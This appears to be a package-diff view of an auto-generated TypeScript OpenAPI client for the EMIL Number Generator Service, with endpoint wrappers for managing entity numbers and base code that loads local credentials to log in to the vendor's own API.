| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| localVarHeaderParameter['Content-Type'] = 'application/json'; | ||
| setSearchParams(localVarUrlObj, localVarQueryParameter); | ||
| let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers}; | ||
| localVarRequestOptions.data = serializeDataIfNeeded(lookupNumberRequestDto, localVarRequestOptions, configuration) | ||
| return { | ||
| url: toPathString(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }; | ||
| }, | ||
| /** | ||
| * This endpoint facilitates the resetting of an entity number useful for sequence type numbers. | ||
| * @summary Reset entity number | ||
| * @param {ResetNumberRequestDto} resetNumberRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| resetNumber: async (resetNumberRequestDto: ResetNumberRequestDto, authorization?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => { | ||
| // verify required parameter 'resetNumberRequestDto' is not null or undefined | ||
| assertParamExists('resetNumber', 'resetNumberRequestDto', resetNumberRequestDto) | ||
| const localVarPath = `/numbergenerator/v1/numbers/reset`; | ||
| // use dummy base URL string because the URL constructor only accepts absolute URLs. | ||
| const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL); | ||
| let baseOptions; | ||
| let baseAccessToken; | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| const localVarRequestOptions = { method: 'POST', ...baseOptions, ...options}; | ||
| const localVarHeaderParameter = {} as any; | ||
| const localVarQueryParameter = {} as any; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| await setBearerAuthToObject(localVarHeaderParameter, configuration) | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| localVarHeaderParameter['Content-Type'] = 'application/json'; | ||
| setSearchParams(localVarUrlObj, localVarQueryParameter); | ||
| let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers}; | ||
| localVarRequestOptions.data = serializeDataIfNeeded(resetNumberRequestDto, localVarRequestOptions, configuration) | ||
| return { | ||
| url: toPathString(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }; | ||
| }, | ||
| /** | ||
| * This will update an entity number in the database. | ||
| * @summary Update the number | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| updateNumber: async (code: string, authorization?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => { | ||
| // verify required parameter 'code' is not null or undefined | ||
| assertParamExists('updateNumber', 'code', code) | ||
| const localVarPath = `/numbergenerator/v1/numbers/{code}` | ||
| .replace(`{${"code"}}`, encodeURIComponent(String(code))); | ||
| // use dummy base URL string because the URL constructor only accepts absolute URLs. | ||
| const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL); | ||
| let baseOptions; | ||
| let baseAccessToken; | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| const localVarRequestOptions = { method: 'PUT', ...baseOptions, ...options}; | ||
| const localVarHeaderParameter = {} as any; | ||
| const localVarQueryParameter = {} as any; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| await setBearerAuthToObject(localVarHeaderParameter, configuration) | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| setSearchParams(localVarUrlObj, localVarQueryParameter); | ||
| let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers}; | ||
| return { | ||
| url: toPathString(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }; | ||
| }, | ||
| } | ||
| }; | ||
| /** | ||
| * NumbersApi - functional programming interface | ||
| * @export | ||
| */ | ||
| export const NumbersApiFp = function(configuration?: Configuration) { | ||
| const localVarAxiosParamCreator = NumbersApiAxiosParamCreator(configuration) | ||
| return { | ||
| /** | ||
| * This will create an entity number in the database. Entity number is a way to generate unique numbers for your entities. You can create as many numbers as you want. | ||
| * @summary Create the number | ||
| * @param {string} slug The slug of the number | ||
| * @param {string} type The type of number generator. This determines the structure of the config object. | ||
| * @param {object} config Configuration object that varies based on the type field | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| async createNumber(slug: string, type: string, config: object, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<CreateNumberResponseClass>> { | ||
| const localVarAxiosArgs = await localVarAxiosParamCreator.createNumber(slug, type, config, authorization, options); | ||
| return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration); | ||
| }, | ||
| /** | ||
| * Retrieves the details of the number that was previously created. Supply the unique number code that was returned when you created it and Emil Api will return the corresponding number information. | ||
| * @summary Retrieve the number | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} expand | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| async getNumber(code: string, expand: string, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<GetNumberResponseClass>> { | ||
| const localVarAxiosArgs = await localVarAxiosParamCreator.getNumber(code, expand, authorization, options); | ||
| return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration); | ||
| }, | ||
| /** | ||
| * Returns a list of Numbers you have previously created. The Numbers are returned in sorted order, with the oldest one appearing first. For more information about pagination, read the Pagination documentation. | ||
| * @summary List Numbers | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10. | ||
| * @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken=1, your subsequent call can include pageToken=2 in order to fetch the next page of the list. | ||
| * @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time. | ||
| * @param {string} [search] To search the list by any field, pass search=xxx to fetch the result. | ||
| * @param {string} [order] The order parameter determines how the results should be sorted according to a specified field. It functions similarly to an SQL ORDER BY. Sorting can be performed in either ascending (ASC) or descending (DESC) order. Default: ASC. | ||
| * @param {string} [expand] Use this parameter to fetch additional information about the list items. The expand query parameter increases the set of fields that appear in the response in addition to the default ones. Expanding resources can reduce the number of API calls required to accomplish a task. However, use this with parsimony as some expanded fields can drastically increase payload size. | ||
| * @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations. In general, fetching filtered responses conserves bandwidth and reduces response time. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| async listNumbers(authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<ListNumbersResponseClass>> { | ||
| const localVarAxiosArgs = await localVarAxiosParamCreator.listNumbers(authorization, pageSize, pageToken, filter, search, order, expand, filters, options); | ||
| return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration); | ||
| }, | ||
| /** | ||
| * The endpoint performs a lookup based on an entity number to retrieve a unique string. | ||
| * @summary Lookup entity number | ||
| * @param {LookupNumberRequestDto} lookupNumberRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| async lookupNumber(lookupNumberRequestDto: LookupNumberRequestDto, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<void>> { | ||
| const localVarAxiosArgs = await localVarAxiosParamCreator.lookupNumber(lookupNumberRequestDto, authorization, options); | ||
| return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration); | ||
| }, | ||
| /** | ||
| * This endpoint facilitates the resetting of an entity number useful for sequence type numbers. | ||
| * @summary Reset entity number | ||
| * @param {ResetNumberRequestDto} resetNumberRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| async resetNumber(resetNumberRequestDto: ResetNumberRequestDto, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<void>> { | ||
| const localVarAxiosArgs = await localVarAxiosParamCreator.resetNumber(resetNumberRequestDto, authorization, options); | ||
| return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration); | ||
| }, | ||
| /** | ||
| * This will update an entity number in the database. | ||
| * @summary Update the number | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| async updateNumber(code: string, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<UpdateNumberResponseClass>> { | ||
| const localVarAxiosArgs = await localVarAxiosParamCreator.updateNumber(code, authorization, options); | ||
| return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration); | ||
| }, | ||
| } | ||
| }; | ||
| /** | ||
| * NumbersApi - factory interface | ||
| * @export | ||
| */ | ||
| export const NumbersApiFactory = function (configuration?: Configuration, basePath?: string, axios?: AxiosInstance) { | ||
| const localVarFp = NumbersApiFp(configuration) | ||
| return { | ||
| /** | ||
| * This will create an entity number in the database. Entity number is a way to generate unique numbers for your entities. You can create as many numbers as you want. | ||
| * @summary Create the number | ||
| * @param {string} slug The slug of the number | ||
| * @param {string} type The type of number generator. This determines the structure of the config object. | ||
| * @param {object} config Configuration object that varies based on the type field | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createNumber(slug: string, type: string, config: object, authorization?: string, options?: any): AxiosPromise<CreateNumberResponseClass> { | ||
| return localVarFp.createNumber(slug, type, config, authorization, options).then((request) => request(axios, basePath)); | ||
| }, | ||
| /** | ||
| * Retrieves the details of the number that was previously created. Supply the unique number code that was returned when you created it and Emil Api will return the corresponding number information. | ||
| * @summary Retrieve the number | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} expand | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| getNumber(code: string, expand: string, authorization?: string, options?: any): AxiosPromise<GetNumberResponseClass> { | ||
| return localVarFp.getNumber(code, expand, authorization, options).then((request) => request(axios, basePath)); | ||
| }, | ||
| /** | ||
| * Returns a list of Numbers you have previously created. The Numbers are returned in sorted order, with the oldest one appearing first. For more information about pagination, read the Pagination documentation. | ||
| * @summary List Numbers | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10. | ||
| * @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken=1, your subsequent call can include pageToken=2 in order to fetch the next page of the list. | ||
| * @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time. | ||
| * @param {string} [search] To search the list by any field, pass search=xxx to fetch the result. | ||
| * @param {string} [order] The order parameter determines how the results should be sorted according to a specified field. It functions similarly to an SQL ORDER BY. Sorting can be performed in either ascending (ASC) or descending (DESC) order. Default: ASC. | ||
| * @param {string} [expand] Use this parameter to fetch additional information about the list items. The expand query parameter increases the set of fields that appear in the response in addition to the default ones. Expanding resources can reduce the number of API calls required to accomplish a task. However, use this with parsimony as some expanded fields can drastically increase payload size. | ||
| * @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations. In general, fetching filtered responses conserves bandwidth and reduces response time. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listNumbers(authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: any): AxiosPromise<ListNumbersResponseClass> { | ||
| return localVarFp.listNumbers(authorization, pageSize, pageToken, filter, search, order, expand, filters, options).then((request) => request(axios, basePath)); | ||
| }, | ||
| /** | ||
| * The endpoint performs a lookup based on an entity number to retrieve a unique string. | ||
| * @summary Lookup entity number | ||
| * @param {LookupNumberRequestDto} lookupNumberRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| lookupNumber(lookupNumberRequestDto: LookupNumberRequestDto, authorization?: string, options?: any): AxiosPromise<void> { | ||
| return localVarFp.lookupNumber(lookupNumberRequestDto, authorization, options).then((request) => request(axios, basePath)); | ||
| }, | ||
| /** | ||
| * This endpoint facilitates the resetting of an entity number useful for sequence type numbers. | ||
| * @summary Reset entity number | ||
| * @param {ResetNumberRequestDto} resetNumberRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| resetNumber(resetNumberRequestDto: ResetNumberRequestDto, authorization?: string, options?: any): AxiosPromise<void> { | ||
| return localVarFp.resetNumber(resetNumberRequestDto, authorization, options).then((request) => request(axios, basePath)); | ||
| }, | ||
| /** | ||
| * This will update an entity number in the database. | ||
| * @summary Update the number | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| updateNumber(code: string, authorization?: string, options?: any): AxiosPromise<UpdateNumberResponseClass> { | ||
| return localVarFp.updateNumber(code, authorization, options).then((request) => request(axios, basePath)); | ||
| }, | ||
| }; | ||
| }; | ||
| /** | ||
| * Request parameters for createNumber operation in NumbersApi. | ||
| * @export | ||
| * @interface NumbersApiCreateNumberRequest | ||
| */ | ||
| export interface NumbersApiCreateNumberRequest { | ||
| /** | ||
| * The slug of the number | ||
| * @type {string} | ||
| * @memberof NumbersApiCreateNumber | ||
| */ | ||
| readonly slug: string | ||
| /** | ||
| * The type of number generator. This determines the structure of the config object. | ||
| * @type {string} | ||
| * @memberof NumbersApiCreateNumber | ||
| */ | ||
| readonly type: string | ||
| /** | ||
| * Configuration object that varies based on the type field | ||
| * @type {object} | ||
| * @memberof NumbersApiCreateNumber | ||
| */ | ||
| readonly config: object | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof NumbersApiCreateNumber | ||
| */ | ||
| readonly authorization?: string | ||
| } | ||
| /** | ||
| * Request parameters for getNumber operation in NumbersApi. | ||
| * @export | ||
| * @interface NumbersApiGetNumberRequest | ||
| */ | ||
| export interface NumbersApiGetNumberRequest { | ||
| /** | ||
| * Unique identifier for the object. | ||
| * @type {string} | ||
| * @memberof NumbersApiGetNumber | ||
| */ | ||
| readonly code: string | ||
| /** | ||
| * | ||
| * @type {string} | ||
| * @memberof NumbersApiGetNumber | ||
| */ | ||
| readonly expand: string | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof NumbersApiGetNumber | ||
| */ | ||
| readonly authorization?: string | ||
| } | ||
| /** | ||
| * Request parameters for listNumbers operation in NumbersApi. | ||
| * @export | ||
| * @interface NumbersApiListNumbersRequest | ||
| */ | ||
| export interface NumbersApiListNumbersRequest { | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof NumbersApiListNumbers | ||
| */ | ||
| readonly authorization?: string | ||
| /** | ||
| * A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10. | ||
| * @type {number} | ||
| * @memberof NumbersApiListNumbers | ||
| */ | ||
| readonly pageSize?: number | ||
| /** | ||
| * A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken=1, your subsequent call can include pageToken=2 in order to fetch the next page of the list. | ||
| * @type {string} | ||
| * @memberof NumbersApiListNumbers | ||
| */ | ||
| readonly pageToken?: string | ||
| /** | ||
| * Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time. | ||
| * @type {string} | ||
| * @memberof NumbersApiListNumbers | ||
| */ | ||
| readonly filter?: string | ||
| /** | ||
| * To search the list by any field, pass search=xxx to fetch the result. | ||
| * @type {string} | ||
| * @memberof NumbersApiListNumbers | ||
| */ | ||
| readonly search?: string | ||
| /** | ||
| * The order parameter determines how the results should be sorted according to a specified field. It functions similarly to an SQL ORDER BY. Sorting can be performed in either ascending (ASC) or descending (DESC) order. Default: ASC. | ||
| * @type {string} | ||
| * @memberof NumbersApiListNumbers | ||
| */ | ||
| readonly order?: string | ||
| /** | ||
| * Use this parameter to fetch additional information about the list items. The expand query parameter increases the set of fields that appear in the response in addition to the default ones. Expanding resources can reduce the number of API calls required to accomplish a task. However, use this with parsimony as some expanded fields can drastically increase payload size. | ||
| * @type {string} | ||
| * @memberof NumbersApiListNumbers | ||
| */ | ||
| readonly expand?: string | ||
| /** | ||
| * Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations. In general, fetching filtered responses conserves bandwidth and reduces response time. | ||
| * @type {string} | ||
| * @memberof NumbersApiListNumbers | ||
| */ | ||
| readonly filters?: string | ||
| } | ||
| /** | ||
| * Request parameters for lookupNumber operation in NumbersApi. | ||
| * @export | ||
| * @interface NumbersApiLookupNumberRequest | ||
| */ | ||
| export interface NumbersApiLookupNumberRequest { | ||
| /** | ||
| * | ||
| * @type {LookupNumberRequestDto} | ||
| * @memberof NumbersApiLookupNumber | ||
| */ | ||
| readonly lookupNumberRequestDto: LookupNumberRequestDto | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof NumbersApiLookupNumber | ||
| */ | ||
| readonly authorization?: string | ||
| } | ||
| /** | ||
| * Request parameters for resetNumber operation in NumbersApi. | ||
| * @export | ||
| * @interface NumbersApiResetNumberRequest | ||
| */ | ||
| export interface NumbersApiResetNumberRequest { | ||
| /** | ||
| * | ||
| * @type {ResetNumberRequestDto} | ||
| * @memberof NumbersApiResetNumber | ||
| */ | ||
| readonly resetNumberRequestDto: ResetNumberRequestDto | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof NumbersApiResetNumber | ||
| */ | ||
| readonly authorization?: string | ||
| } | ||
| /** | ||
| * Request parameters for updateNumber operation in NumbersApi. | ||
| * @export | ||
| * @interface NumbersApiUpdateNumberRequest | ||
| */ | ||
| export interface NumbersApiUpdateNumberRequest { | ||
| /** | ||
| * Unique identifier for the object. | ||
| * @type {string} | ||
| * @memberof NumbersApiUpdateNumber | ||
| */ | ||
| readonly code: string | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof NumbersApiUpdateNumber | ||
| */ | ||
| readonly authorization?: string | ||
| } | ||
| /** | ||
| * NumbersApi - object-oriented interface | ||
| * @export | ||
| * @class NumbersApi | ||
| * @extends {BaseAPI} | ||
| */ | ||
| export class NumbersApi extends BaseAPI { | ||
| /** | ||
| * This will create an entity number in the database. Entity number is a way to generate unique numbers for your entities. You can create as many numbers as you want. | ||
| * @summary Create the number | ||
| * @param {NumbersApiCreateNumberRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof NumbersApi | ||
| */ | ||
| public createNumber(requestParameters: NumbersApiCreateNumberRequest, options?: AxiosRequestConfig) { | ||
| return NumbersApiFp(this.configuration).createNumber(requestParameters.slug, requestParameters.type, requestParameters.config, requestParameters.authorization, options).then((request) => request(this.axios, this.basePath)); | ||
| } | ||
| /** | ||
| * Retrieves the details of the number that was previously created. Supply the unique number code that was returned when you created it and Emil Api will return the corresponding number information. | ||
| * @summary Retrieve the number | ||
| * @param {NumbersApiGetNumberRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof NumbersApi | ||
| */ | ||
| public getNumber(requestParameters: NumbersApiGetNumberRequest, options?: AxiosRequestConfig) { | ||
| return NumbersApiFp(this.configuration).getNumber(requestParameters.code, requestParameters.expand, requestParameters.authorization, options).then((request) => request(this.axios, this.basePath)); | ||
| } | ||
| /** | ||
| * Returns a list of Numbers you have previously created. The Numbers are returned in sorted order, with the oldest one appearing first. For more information about pagination, read the Pagination documentation. | ||
| * @summary List Numbers | ||
| * @param {NumbersApiListNumbersRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof NumbersApi | ||
| */ | ||
| public listNumbers(requestParameters: NumbersApiListNumbersRequest = {}, options?: AxiosRequestConfig) { | ||
| return NumbersApiFp(this.configuration).listNumbers(requestParameters.authorization, requestParameters.pageSize, requestParameters.pageToken, requestParameters.filter, requestParameters.search, requestParameters.order, requestParameters.expand, requestParameters.filters, options).then((request) => request(this.axios, this.basePath)); | ||
| } | ||
| /** | ||
| * The endpoint performs a lookup based on an entity number to retrieve a unique string. | ||
| * @summary Lookup entity number | ||
| * @param {NumbersApiLookupNumberRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof NumbersApi | ||
| */ | ||
| public lookupNumber(requestParameters: NumbersApiLookupNumberRequest, options?: AxiosRequestConfig) { | ||
| return NumbersApiFp(this.configuration).lookupNumber(requestParameters.lookupNumberRequestDto, requestParameters.authorization, options).then((request) => request(this.axios, this.basePath)); | ||
| } | ||
| /** | ||
| * This endpoint facilitates the resetting of an entity number useful for sequence type numbers. | ||
| * @summary Reset entity number | ||
| * @param {NumbersApiResetNumberRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof NumbersApi | ||
| */ | ||
| public resetNumber(requestParameters: NumbersApiResetNumberRequest, options?: AxiosRequestConfig) { | ||
| return NumbersApiFp(this.configuration).resetNumber(requestParameters.resetNumberRequestDto, requestParameters.authorization, options).then((request) => request(this.axios, this.basePath)); | ||
| } | ||
| /** | ||
| * This will update an entity number in the database. | ||
| * @summary Update the number | ||
| * @param {NumbersApiUpdateNumberRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof NumbersApi | ||
| */ | ||
| public updateNumber(requestParameters: NumbersApiUpdateNumberRequest, options?: AxiosRequestConfig) { | ||
| return NumbersApiFp(this.configuration).updateNumber(requestParameters.code, requestParameters.authorization, options).then((request) => request(this.axios, this.basePath)); | ||
| } | ||
| } |
-327
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL Number Generator Service | ||
| * The EMIL Number Generator Service API is a robust tool designed to generate unique and structured entity numbers like policies, accounts, invoices, and other entities. This API streamlines the process of creating distinct identifiers for various business objects. | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { Configuration } from "./configuration"; | ||
| // Some imports not used depending on template conditions | ||
| // @ts-ignore | ||
| import globalAxios, { AxiosPromise, AxiosInstance, AxiosRequestConfig, AxiosResponse } from 'axios'; | ||
| import * as fs from 'fs'; | ||
| import * as path from 'path'; | ||
| import * as os from 'os'; | ||
| export const BASE_PATH = "https://apiv2.emil.de".replace(/\/+$/, ""); | ||
| const CONFIG_DIRECTORY = '.emil'; | ||
| const CONFIG_FILENAME = 'credentials'; | ||
| const KEY_USERNAME = 'emil_username'; | ||
| const KEY_PASSWORD = 'emil_password'; | ||
| const filePath = os.homedir() + path.sep + CONFIG_DIRECTORY + path.sep + CONFIG_FILENAME; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export const COLLECTION_FORMATS = { | ||
| csv: ",", | ||
| ssv: " ", | ||
| tsv: "\t", | ||
| pipes: "|", | ||
| }; | ||
| export interface LoginClass { | ||
| accessToken: string; | ||
| permissions: string; | ||
| } | ||
| export interface SwitchWorkspaceRequest { | ||
| username: string; | ||
| targetWorkspace: string; | ||
| } | ||
| export interface SwitchWorkspaceResponseClass { | ||
| accessToken: string; | ||
| permissions: string; | ||
| } | ||
| export enum Environment { | ||
| Production = 'https://apiv2.emil.de', | ||
| Test = 'https://apiv2-test.emil.de', | ||
| Staging = 'https://apiv2-staging.emil.de', | ||
| Development = 'https://apiv2-dev.emil.de', | ||
| ProductionZurich = 'https://eu-central-2.apiv2.emil.de', | ||
| } | ||
| let _retry_count = 0 | ||
| let _retry = null | ||
| export function resetRetry() { | ||
| _retry_count = 0 | ||
| } | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface RequestArgs | ||
| */ | ||
| export interface RequestArgs { | ||
| url: string; | ||
| options: AxiosRequestConfig; | ||
| } | ||
| const NETWORK_ERROR_MESSAGE = "Network Error"; | ||
| /** | ||
| * | ||
| * @export | ||
| * @class BaseAPI | ||
| */ | ||
| export class BaseAPI { | ||
| protected configuration: Configuration; | ||
| private username?: string; | ||
| private password?: string; | ||
| constructor(configuration?: Configuration, protected basePath: string = BASE_PATH, protected axios: AxiosInstance = globalAxios) { | ||
| if (configuration) { | ||
| this.configuration = configuration; | ||
| this.basePath = configuration.basePath || this.basePath; | ||
| } else { | ||
| this.configuration = new Configuration({ | ||
| basePath: this.basePath, | ||
| }); | ||
| } | ||
| this.attachInterceptor(axios); | ||
| } | ||
| async initialize(env: Environment = Environment.Production, targetWorkspace?: string) { | ||
| this.configuration.basePath = env; | ||
| await this.loadCredentials(); | ||
| if (this.username) { | ||
| await this.authorize(this.username, this.password, targetWorkspace); | ||
| this.password = null; // to avoid keeping password loaded in memory. | ||
| } | ||
| } | ||
| private async loadCredentials() { | ||
| try { | ||
| await this.readConfigFile(); | ||
| } catch (error) { | ||
| console.warn(`No credentials file found. Check that ${filePath} exists.`); | ||
| } | ||
| this.readEnvVariables(); | ||
| if (!this.username) { | ||
| console.info(`No credentials found in credentials file or environment variables. Either provide some or use | ||
| authorize() function.`); | ||
| } | ||
| } | ||
| private async readConfigFile() { | ||
| const file = await fs.promises.readFile(filePath, 'utf-8'); | ||
| const lines = file.split(os.EOL) | ||
| .filter(Boolean); | ||
| lines.forEach((line: string) => { | ||
| if (line.startsWith(KEY_USERNAME)) { | ||
| this.username = line.length > KEY_USERNAME.length + 1 ? line.substring(KEY_USERNAME.length + 1) : ''; | ||
| } else if (line.startsWith(KEY_PASSWORD)) { | ||
| this.password = line.length > KEY_PASSWORD.length + 1 ? line.substring(KEY_PASSWORD.length + 1) : ''; | ||
| } | ||
| }); | ||
| } | ||
| private readEnvVariables(): boolean { | ||
| if (process.env.EMIL_USERNAME) { | ||
| this.username = process.env.EMIL_USERNAME; | ||
| this.password = process.env.EMIL_PASSWORD || ''; | ||
| return true; | ||
| } | ||
| return false; | ||
| } | ||
| selectEnvironment(env: Environment) { | ||
| this.configuration.basePath = env; | ||
| } | ||
| async authorize(username: string, password: string, targetWorkspace?: string): Promise<void> { | ||
| const options: AxiosRequestConfig = { | ||
| method: 'POST', | ||
| url: `${this.configuration.basePath}/authservice/v1/login`, | ||
| headers: { 'Content-Type': 'application/json' }, | ||
| data: { | ||
| username, | ||
| password, | ||
| }, | ||
| withCredentials: true, | ||
| }; | ||
| const response = await globalAxios.request<LoginClass>(options); | ||
| const { data: { accessToken } } = response; | ||
| this.configuration.username = username; | ||
| this.configuration.accessToken = `Bearer ${accessToken}`; | ||
| const refreshToken = this.extractRefreshToken(response) | ||
| this.configuration.refreshToken = refreshToken; | ||
| // Switch workspace if provided | ||
| if (targetWorkspace) { | ||
| await this.switchWorkspace(targetWorkspace); | ||
| } | ||
| } | ||
| async switchWorkspace(targetWorkspace: string): Promise<void> { | ||
| const options: AxiosRequestConfig = { | ||
| method: 'POST', | ||
| url: `${this.configuration.basePath}/authservice/v1/workspaces/switch`, | ||
| headers: { | ||
| 'Content-Type': 'application/json', | ||
| 'Authorization': `Bearer ${this.configuration.accessToken}`, | ||
| 'Cookie': this.configuration.refreshToken, | ||
| }, | ||
| data: { | ||
| username: this.configuration.username, | ||
| targetWorkspace, | ||
| } as SwitchWorkspaceRequest, | ||
